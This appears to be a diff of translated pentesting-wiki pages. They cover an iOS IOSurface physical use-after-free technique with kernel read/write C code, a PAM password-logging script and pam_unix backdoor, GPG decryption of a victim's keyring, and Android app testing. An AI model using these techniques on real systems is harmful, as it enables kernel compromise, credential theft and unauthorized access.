log.info(f"Failed with extra_pad={extra}, likely crashed")
p.close()
log.failure("All padding attempts failed. The heap layout might be different.")
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
if __name__ == '__main__':
main()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,215 @@
# iOS Physical Use-After-Free via IOSurface
{{#include ../../banners/hacktricks-training.md}}
## Physical use-after-free
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
El espacio de direcciones de memoria virtual para procesos de usuario en iOS abarca desde 0x0 hasta 0x8000000000. Sin embargo, estas direcciones no se mapean directamente a memoria física. En su lugar, el kernel usa page tables para traducir direcciones virtuales a direcciones físicas reales.
#### Levels of Page Tables in iOS
Los page tables están organizados jerárquicamente en tres niveles:
1. L1 Page Table (Level 1):
* Cada entrada aquí representa un rango grande de memoria virtual.
* Cubre 0x1000000000 bytes (o 256 GB) de memoria virtual.
2. L2 Page Table (Level 2):
* Una entrada aquí representa una región más pequeña de memoria virtual, específicamente 0x2000000 bytes (32 MB).
* Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma.
3. L3 Page Table (Level 3):
* Este es el nivel más fino, donde cada entrada mapea una sola página de memoria de 4 KB.
* Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular.
#### Mapping Virtual to Physical Memory
* Direct Mapping (Block Mapping):
* Algunas entradas en un page table mapean directamente un rango de direcciones virtuales a un rango contiguo de direcciones físicas (como un atajo).
* Pointer to Child Page Table:
* Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a un child page table en el siguiente nivel (por ejemplo, L2).
#### Example: Mapping a Virtual Address
Supongamos que intentas acceder a la dirección virtual 0x1000000000:
1. L1 Table:
* El kernel comprueba la entrada del L1 page table correspondiente a esta dirección virtual. Si tiene un pointer to an L2 page table, va a esa tabla L2.
2. L2 Table:
* El kernel comprueba el L2 page table para un mapeo más detallado. Si esta entrada apunta a un L3 page table, procede allí.
3. L3 Table:
* El kernel busca la entrada final en L3, que apunta a la physical address de la página de memoria real.
#### Example of Address Mapping
Si escribes la physical address 0x800004000 en el primer índice de la L2 table, entonces:
* Las direcciones virtuales desde 0x1000000000 hasta 0x1002000000 se mapean a direcciones físicas desde 0x800004000 hasta 0x802004000.
* Esto es un block mapping a nivel L2.
Alternativamente, si la entrada L2 apunta a una tabla L3:
* Cada página de 4 KB en el rango virtual 0x1000000000 -> 0x1002000000 sería mapeada por entradas individuales en la L3 table.
### Physical use-after-free
Un Physical use-after-free (UAF) ocurre cuando:
1. Un proceso allocations some memory as readable and writable.
2. Los page tables se actualizan para mapear esta memoria a una physical address específica a la que el proceso puede acceder.
3. El proceso deallocates (frees) la memoria.
4. Sin embargo, debido a un bug, el kernel olvida eliminar el mapping de los page tables, aunque marca la memoria física correspondiente como libre.
5. El kernel puede entonces reallocar esta memoria física "liberada" para otros propósitos, como kernel data.
6. Dado que el mapping no fue eliminado, el proceso aún puede read y write en esta memoria física.
Esto significa que el proceso puede acceder a páginas de kernel memory, que podrían contener datos sensibles o estructuras, posibilitando que un atacante manipule kernel memory.
### IOSurface Heap Spray
Dado que el atacante no puede controlar qué páginas del kernel específicas serán asignadas a la memoria liberada, utiliza una técnica llamada heap spray:
1. El atacante crea una gran cantidad de IOSurface objects en kernel memory.
2. Cada IOSurface object contiene un magic value en uno de sus campos, lo que lo hace fácil de identificar.
3. Escanean las páginas liberadas para ver si alguno de estos IOSurface objects aterrizó en una página liberada.
4. Cuando encuentran un IOSurface object en una página liberada, pueden usarlo para read y write kernel memory.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
> [!TIP]
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
> KTRR (Kernel Text Read-Only Region), which locks down the kernels code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
### Step-by-Step Heap Spray Process
1. Spray IOSurface Objects: El atacante crea muchos IOSurface objects con un identificador especial ("magic value").
2. Scan Freed Pages: Comprueban si alguno de los objects ha sido asignado en una página liberada.
3. Read/Write Kernel Memory: Manipulando campos en el IOSurface object, obtienen la capacidad de realizar arbitrary reads and writes en kernel memory. Esto les permite:
* Usar un campo para read any 32-bit value en kernel memory.
* Usar otro campo para write 64-bit values, logrando un kernel read/write primitive estable.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Buscar objetos **`IOSurface`** en una página física liberada:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Logrando Kernel Read/Write con IOSurface
Después de lograr control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**.
**Key Fields in IOSurface**
El objeto IOSurface tiene dos campos cruciales:
1. **Use Count Pointer**: Permite una **lectura de 32 bits**.
2. **Indexed Timestamp Pointer**: Permite una **escritura de 64 bits**.
Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura.
#### Lectura de 32 bits en el kernel
Para realizar una lectura:
1. Sobrescribe el **use count pointer** para que apunte a la dirección objetivo menos un offset de 0x14 bytes.
2. Usa el método `get_use_count` para leer el valor en esa dirección.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Para realizar una escritura:
1. Sobrescribe el **indexed timestamp pointer** con la dirección objetivo.
2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Resumen del flujo del exploit
1. **Activar Physical Use-After-Free**: Las páginas liberadas están disponibles para su reutilización.
2. **Spray IOSurface Objects**: Reservar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel.
3. **Identificar IOSurface accesible**: Localiza un IOSurface en una página liberada que controlas.
4. **Abusar del Use-After-Free**: Modifica punteros en el objeto IOSurface para habilitar **kernel read/write** arbitrarios vía los métodos de IOSurface.
Con estos primitivos, el exploit proporciona **lecturas de 32 bits** controladas y **escrituras de 64 bits** en la memoria del kernel. Pasos adicionales del jailbreak podrían implicar primitivos de lectura/escritura más estables, que pueden requerir sortear protecciones adicionales (p. ej., PPL en dispositivos arm64e más nuevos).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,22 +4,22 @@
## Sniffing Logon Passwords with PAM
Vamos a configurar un módulo PAM para registrar cada contraseña que cada usuario usa para iniciar sesión. Si no sabes qué es PAM consulta:
Configuremos un módulo PAM para registrar cada contraseña que usa cada usuario al iniciar sesión. Si no sabes qué es PAM consulta:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen:
**Para más detalles consulta el [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Esto es solo un resumen:
**Technique Overview:**
Pluggable Authentication Modules (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas basados en Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también implican riesgos si se usan de forma indebida. Este resumen describe una técnica para capturar credenciales de inicio de sesión usando PAM, junto con estrategias de mitigación.
Pluggable Authentication Modules (PAM) ofrecen flexibilidad en la gestión de la autenticación en sistemas Unix. Pueden mejorar la seguridad al personalizar los procesos de inicio de sesión, pero también presentan riesgos si se usan indebidamente. Este resumen describe una técnica para capturar credenciales de inicio de sesión usando PAM, junto con estrategias de mitigación.
**Capturing Credentials:**
- Se crea un script bash llamado `toomanysecrets.sh` para registrar intentos de login, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (vía stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`.
- El script se hace ejecutable e integra en la configuración de PAM (`common-auth`) usando el módulo `pam_exec.so` con opciones para ejecutarse en silencio y exponer el token de autenticación al script.
- Se crea un bash script llamado `toomanysecrets.sh` para registrar los intentos de inicio de sesión, capturando la fecha, el nombre de usuario (`$PAM_USER`), la contraseña (vía stdin) y la IP del host remoto (`$PAM_RHOST`) en `/var/log/toomanysecrets.log`.
- Se da permisos de ejecución al script y se integra en la configuración de PAM (`common-auth`) usando el módulo `pam_exec.so` con opciones para ejecutarlo en silencio y exponer el token de autenticación al script.
- El enfoque demuestra cómo un host Linux comprometido puede ser explotado para registrar credenciales de forma discreta.
```bash
#!/bin/sh
@ -32,30 +32,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
```
### Backdooring PAM
**Para más detalles consulta el [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen:
**Para más detalles consulta la [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Esto es solo un resumen:
El Pluggable Authentication Module (PAM) es un sistema usado en Linux para la autenticación de usuarios. Funciona sobre tres conceptos principales: **username**, **password**, y **service**. Los archivos de configuración de cada service se encuentran en el directorio `/etc/pam.d/`, donde las bibliotecas compartidas se encargan de la autenticación.
The Pluggable Authentication Module (PAM) es un sistema usado en Linux para la autenticación de usuarios. Opera sobre tres conceptos principales: **username**, **password**, y **service**. Los archivos de configuración para cada servicio se encuentran en el directorio `/etc/pam.d/`, donde bibliotecas compartidas manejan la autenticación.
**Objetivo**: Modificar PAM para permitir la autenticación con una predefined password, omitiendo la password real del usuario. Esto se centra especialmente en la biblioteca compartida `pam_unix.so` usada por el archivo `common-auth`, que está incluido por casi todos los services para la verificación de password.
**Objetivo**: Modificar PAM para permitir la autenticación con una contraseña específica, evitando la contraseña real del usuario. Esto se centra especialmente en la librería compartida `pam_unix.so` usada por el archivo `common-auth`, que es incluido por casi todos los servicios para la verificación de contraseña.
### Pasos para modificar `pam_unix.so`:
1. **Localizar la directiva de autenticación** en el archivo `common-auth`:
- La línea responsable de verificar la password del usuario invoca `pam_unix.so`.
2. **Modificar el código fuente**:
- Añade una sentencia condicional en el archivo fuente `pam_unix_auth.c` que concede acceso si se usa una predefined password; en caso contrario continúa con el proceso de autenticación normal.
3. **Recompilar y reemplazar** la biblioteca `pam_unix.so` modificada en el directorio correspondiente.
4. **Pruebas**:
- Se concede acceso en múltiples services (login, ssh, sudo, su, screensaver) usando la predefined password, mientras que los procesos de autenticación normales permanecen sin cambios.
1. **Locate the Authentication Directive** in the `common-auth` file:
- La línea responsable de comprobar la contraseña de un usuario llama a `pam_unix.so`.
2. **Modify Source Code**:
- Añadir una sentencia condicional en el archivo fuente `pam_unix_auth.c` que otorgue acceso si se usa una contraseña predefinida; de lo contrario, continúa con el proceso de autenticación normal.
3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
4. **Testing**:
- Se concede acceso a través de varios servicios (login, ssh, sudo, su, screensaver) con la contraseña predefinida, mientras que los procesos de autenticación normales permanecen sin afectar.
> [!TIP]
> Puedes automatizar este proceso con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
## Decrypting GPG loot via homedir relocation
## Descifrado de GPG loot mediante reubicación del homedir
Si encuentras un archivo `.gpg` cifrado y la carpeta `~/.gnupg` de un usuario (pubring, private-keys, trustdb) pero no puedes descifrarlo debido a permisos/bloqueos del GnuPG homedir, copia el keyring a una ubicación escribible y úsalo como tu GPG home.
Si encuentras un archivo `.gpg` cifrado y la carpeta `~/.gnupg` de un usuario (pubring, private-keys, trustdb) pero no puedes descifrarlo debido a permisos/bloqueos del homedir de GnuPG, copia el keyring a una ubicación con permisos de escritura y úsalo como tu GPG home.
Errores típicos que verás sin esto: "unsafe ownership on homedir", "failed to create temporary file", o "decryption failed: No secret key" (porque GPG no puede leer/escribir el homedir original).
Los errores típicos que verás sin esto: "unsafe ownership on homedir", "failed to create temporary file", o "decryption failed: No secret key" (porque GPG no puede leer/escribir el homedir original).
Workflow:
```bash
@ -70,8 +70,7 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
```
Si el material de la clave secreta está presente en `private-keys-v1.d`, GPG desbloqueará y descifrará sin solicitar una passphrase (o solicitará si la clave está protegida).
Si el material de la clave secreta está presente en `private-keys-v1.d`, GPG la desbloqueará y desencriptará sin solicitar una passphrase (o la solicitará si la clave está protegida).
## Referencias

File diff suppressed because it is too large Load Diff

View File

@ -1,10 +1,10 @@
# Aplicaciones Android Pentesting
# Pentesting de Aplicaciones Android
{{#include ../../banners/hacktricks-training.md}}
## Fundamentos de Aplicaciones Android
## Conceptos básicos de Aplicaciones Android
Se recomienda encarecidamente empezar leyendo esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**:
Se recomienda encarecidamente comenzar leyendo esta página para conocer las **partes más importantes relacionadas con la seguridad de Android y los componentes más peligrosos en una aplicación Android**:
{{#ref}}
@ -14,14 +14,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Esta es la herramienta principal que necesitas para conectar un dispositivo Android (emulado o físico).\
**ADB** permite controlar dispositivos ya sea por **USB** o por **red** desde un ordenador. Esta utilidad permite el **copiado** de archivos en ambas direcciones, la **instalación** y **desinstalación** de apps, la **ejecución** de comandos shell, la **copia de seguridad** de datos, la **lectura** de logs, entre otras funciones.
**ADB** permite controlar dispositivos ya sea por **USB** o **Network** desde un ordenador. Esta utilidad habilita el **copiado** de archivos en ambas direcciones, la **instalación** y **desinstalación** de apps, la **ejecución** de comandos de shell, la **copia de seguridad** de datos, la **lectura** de logs, entre otras funciones.
Consulta la siguiente lista de [**ADB Commands**](adb-commands.md) para aprender a usar adb.
## Smali
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (tal vez contraseñas bien ofuscadas o flags). Entonces, podría ser útil descompilar el apk, modificar el código y recompilarlo.\
[**En este tutorial** puedes **aprender cómo descompilar un APK, modificar código Smali y recompilar el APK** con la nueva funcionalidad](smali-changes.md). Esto puede ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Por tanto, **ten siempre presente esta posibilidad**.
A veces es interesante **modificar el código de la aplicación** para acceder a **información oculta** (quizá contraseñas u flags bien ofuscadas). Entonces, puede ser interesante descompilar el apk, modificar el código y recompilarlo.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Esto puede ser muy útil como una **alternativa para varias pruebas durante el análisis dinámico** que se van a presentar. Por tanto, **ten siempre presente esta posibilidad**.
## Otros trucos interesantes
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Fusiona todos los splits y base apks con [APKEditor](https://github.com/REAndroid/APKEditor):
- Combina todos los splits y base apks con [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -49,7 +49,7 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
# after merging, you will need to align and sign the apk, personally, I like to use the uberapksigner
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Estudios de caso y Vulnerabilidades
## Estudios de caso y vulnerabilidades
{{#ref}}
@ -61,41 +61,41 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
## Análisis Estático
## Análisis estático
Primero, para analizar un APK deberías **revisar el código Java** usando un decompiler.\
Por favor, [**lee aquí para encontrar información sobre los diferentes decompilers disponibles**](apk-decompilers.md).
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
### Buscando información interesante
Con solo revisar las **strings** del APK puedes buscar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **API** keys, **encryption**, **bluetooth UUIDs**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o backdoors de autenticación (credenciales de admin hardcoded en la app).
Con solo revisar las **strings** del APK puedes buscar **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** y cualquier cosa interesante... busca incluso **backdoors** de ejecución de código o authentication backdoors (hardcoded admin credentials to the app).
**Firebase**
Presta especial atención a las **Firebase URLs** y verifica si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Presta especial atención a las **firebase URLs** y comprueba si está mal configurado. [Más información sobre qué es Firebase y cómo explotarlo aquí.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Comprensión básica de la aplicación - Manifest.xml, strings.xml
El **examen del _Manifest.xml_ y los archivos _strings.xml_ de una aplicación puede revelar vulnerabilidades de seguridad potenciales**. Estos archivos pueden accederse usando decompilers o renombrando el archivo APK a .zip y descomprimiéndolo.
The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. These files can be accessed using decompilers or by renaming the APK file extension to .zip and then unzipping it.
Las **vulnerabilidades** identificadas a partir del **Manifest.xml** incluyen:
**Vulnerabilities** identified from the **Manifest.xml** include:
- **Aplicaciones depurables**: Las aplicaciones marcadas como debuggable (`debuggable="true"`) en el _Manifest.xml_ representan un riesgo ya que permiten conexiones que pueden llevar a la explotación. Para entender mejor cómo explotar aplicaciones debuggable, consulta un tutorial sobre cómo encontrarlas y explotarlas en un dispositivo.
- **Ajustes de backup**: El atributo `android:allowBackup="false"` debería establecerse explícitamente para aplicaciones que manejan información sensible para evitar backups no autorizados vía adb, especialmente cuando usb debugging está habilitado.
- **Network Security**: Las configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como certificate pins y ajustes de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
- **Actividades y Services exportados**: Identificar activities y services exportados en el manifest puede destacar componentes que podrían ser mal utilizados. Un análisis adicional durante pruebas dinámicas puede revelar cómo explotar estos componentes.
- **Content Providers y FileProviders**: Los content providers expuestos podrían permitir acceso o modificación no autorizada de datos. La configuración de FileProviders también debe ser examinada.
- **Broadcast Receivers y URL Schemes**: Estos componentes podrían aprovecharse para explotación, prestando especial atención a cómo se gestionan los URL schemes para vulnerabilidades de entrada.
- **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, lo que subraya la importancia de no soportar versiones antiguas y vulnerables de Android por razones de seguridad.
- **Debuggable Applications**: Applications set as debuggable (`debuggable="true"`) in the _Manifest.xml_ file pose a risk as they allow connections that can lead to exploitation. For further understanding on how to exploit debuggable applications, refer to a tutorial on finding and exploiting debuggable applications on a device.
- **Backup Settings**: The `android:allowBackup="false"` attribute should be explicitly set for applications dealing with sensitive information to prevent unauthorized data backups via adb, especially when usb debugging is enabled.
- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ can specify security details like certificate pins and HTTP traffic settings. An example is allowing HTTP traffic for specific domains.
- **Exported Activities and Services**: Identifying exported activities and services in the manifest can highlight components that might be misused. Further analysis during dynamic testing can reveal how to exploit these components.
- **Content Providers and FileProviders**: Exposed content providers could allow unauthorized access or modification of data. The configuration of FileProviders should also be scrutinized.
- **Broadcast Receivers and URL Schemes**: These components could be leveraged for exploitation, with particular attention to how URL schemes are managed for input vulnerabilities.
- **SDK Versions**: The `minSdkVersion`, `targetSDKVersion`, and `maxSdkVersion` attributes indicate the supported Android versions, highlighting the importance of not supporting outdated, vulnerable Android versions for security reasons.
Desde el archivo **strings.xml**, se pueden descubrir datos sensibles como API keys, esquemas personalizados y otras notas del desarrollador, lo que enfatiza la necesidad de revisar cuidadosamente estos recursos.
From the **strings.xml** file, sensitive information such as API keys, custom schemas, and other developer notes can be discovered, underscoring the need for careful review of these resources.
### Tapjacking
**Tapjacking** es un ataque donde una **aplicación maliciosa** se lanza y **se posiciona encima de una aplicación víctima**. Una vez que oscurece visiblemente la app víctima, su interfaz está diseñada de forma que engaña al usuario para que interactúe con ella, mientras pasa la interacción a la app víctima.\
En efecto, está **cegando al usuario para que no sepa que en realidad está realizando acciones en la app víctima**.
**Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\
In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**.
Encuentra más información en:
Find more information in:
{{#ref}}
@ -104,9 +104,9 @@ tapjacking.md
### Task Hijacking
Una **activity** con el **`launchMode`** establecido en **`singleTask` sin ningún `taskAffinity`** definido es vulnerable a task Hijacking. Esto significa que una **aplicación** puede ser instalada y, si se lanza antes que la aplicación real, podría **secuestrar la tarea de la aplicación real** (por lo que el usuario estará interactuando con la **aplicación maliciosa pensando que está usando la real**).
An **activity** with the **`launchMode`** set to **`singleTask` without any `taskAffinity`** defined is vulnerable to task Hijacking. This means, that an **application** can be installed and if launched before the real application it could **hijack the task of the real application** (so the user will be interacting with the **malicious application thinking he is using the real one**).
Más info en:
More info in:
{{#ref}}
@ -115,33 +115,33 @@ android-task-hijacking.md
### Almacenamiento de datos inseguro
**Internal Storage**
**Almacenamiento interno**
En Android, los archivos **almacenados** en el **internal storage** están **diseñados** para ser **accesibles** exclusivamente por la **app** que los **creó**. Esta medida de seguridad es **impuesta** por el sistema operativo Android y generalmente es adecuada para las necesidades de seguridad de la mayoría de las aplicaciones. Sin embargo, los desarrolladores a veces utilizan modos como `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` para **permitir** que los archivos sean **compartidos** entre diferentes aplicaciones. Aun así, estos modos **no restringen el acceso** a estos archivos por parte de otras aplicaciones, incluidas las potencialmente maliciosas.
En Android, los archivos **almacenados** en **internal** storage están **diseñados** para ser **accesibles** exclusivamente por la **aplicación** que los **creó**. Esta medida de seguridad es **impuesta** por el sistema operativo Android y suele ser adecuada para las necesidades de seguridad de la mayoría de aplicaciones. Sin embargo, los desarrolladores a veces utilizan modos como `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` para **permitir** que los archivos sean **compartidos** entre diferentes aplicaciones. Aun así, estos modos **no restringen el acceso** a estos archivos por otras aplicaciones, incluidas potencialmente maliciosas.
1. **Análisis Estático:**
- **Comprueba** que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **minuciosamente revisado**. Estos modos **pueden exponer** archivos a **accesos no intencionados o no autorizados**.
2. **Análisis Dinámico:**
- **Verifica** los **permisos** establecidos en los archivos creados por la app. Específicamente, **revisa** si algún archivo está **configurado como readable o writable worldwide**. Esto puede suponer un riesgo de seguridad significativo, ya que permitiría a **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **leer o modificar** dichos archivos.
1. **Static Analysis:**
- **Asegúrate** de que el uso de `MODE_WORLD_READABLE` y `MODE_WORLD_WRITABLE` sea **examinado cuidadosamente**. Estos modos **pueden exponer potencialmente** archivos a **accesos no deseados o no autorizados**.
2. **Dynamic Analysis:**
- **Verifica** los **permisos** establecidos en los archivos creados por la app. Específicamente, **comprueba** si algún archivo está **configurado como readable o writable worldwide**. Esto puede suponer un riesgo de seguridad significativo, ya que permitiría que **cualquier aplicación** instalada en el dispositivo, independientemente de su origen o intención, **lea o modifique** estos archivos.
**External Storage**
**Almacenamiento externo**
Al tratar con archivos en **external storage**, como SD Cards, se deben tomar ciertas precauciones:
Al tratar con archivos en **external storage**, como tarjetas SD, se deben tomar ciertas precauciones:
1. **Accesibilidad**:
- Los archivos en external storage son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos.
2. **Preocupaciones de seguridad**:
- Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en external storage.
- El external storage puede ser retirado o accedido por cualquier aplicación, haciéndolo menos seguro.
- El almacenamiento externo puede ser retirado o accedido por cualquier aplicación, lo que lo hace menos seguro.
3. **Manejo de datos desde external storage**:
- Siempre **realiza validación de entrada** en los datos recuperados desde external storage. Esto es crucial porque los datos provienen de una fuente no confiable.
- Desaconsejado almacenar ejecutables o archivos de clase en external storage para carga dinámica.
- Siempre **realiza validación de entrada** sobre los datos recuperados desde external storage. Esto es crucial porque los datos provienen de una fuente no confiable.
- Desaconsejado almacenar ejecutables o archivos .class en external storage para cargarlos dinámicamente.
- Si tu aplicación debe recuperar archivos ejecutables desde external storage, asegúrate de que estos archivos estén **firmados y verificados criptográficamente** antes de cargarlos dinámicamente. Este paso es vital para mantener la integridad de seguridad de tu aplicación.
External storage puede ser **accedido** en `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
External storage can be **accessed** in `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> A partir de Android 4.4 (**API 17**), la SD card tiene una estructura de directorios que **limita el acceso de una app al directorio que es específicamente para esa app**. Esto evita que aplicaciones maliciosas obtengan acceso de lectura o escritura a los archivos de otra app.
> Starting with Android 4.4 (**API 17**), the SD card has a directory structure which **limits access from an app to the directory which is specifically for that app**. This prevents malicious application from gaining read or write access to another app's files.
**Datos sensibles almacenados en texto claro**
@ -152,32 +152,32 @@ External storage puede ser **accedido** en `/storage/emulated/0` , `/sdcard` , `
**Accept All Certificates**
Por alguna razón, a veces los desarrolladores aceptan todos los certificados incluso si, por ejemplo, el hostname no coincide con líneas de código como la siguiente:
For some reason sometimes developers accept all the certificates even if for example the hostname does not match with lines of code like the following one:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Una buena forma de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar Burp CA dentro del dispositivo. También puedes generar con Burp un certificado para un hostname diferente y usarlo.
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar Burp CA dentro del dispositivo. También, puedes generar con Burp un certificado para un hostname diferente y usarlo.
### Criptografía débil
**Procesos deficientes de gestión de claves**
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los encriptan con una clave hardcodeada/predictible en el código. Esto no debería hacerse ya que algo de ingeniería inversa podría permitir a los atacantes extraer la información confidencial.
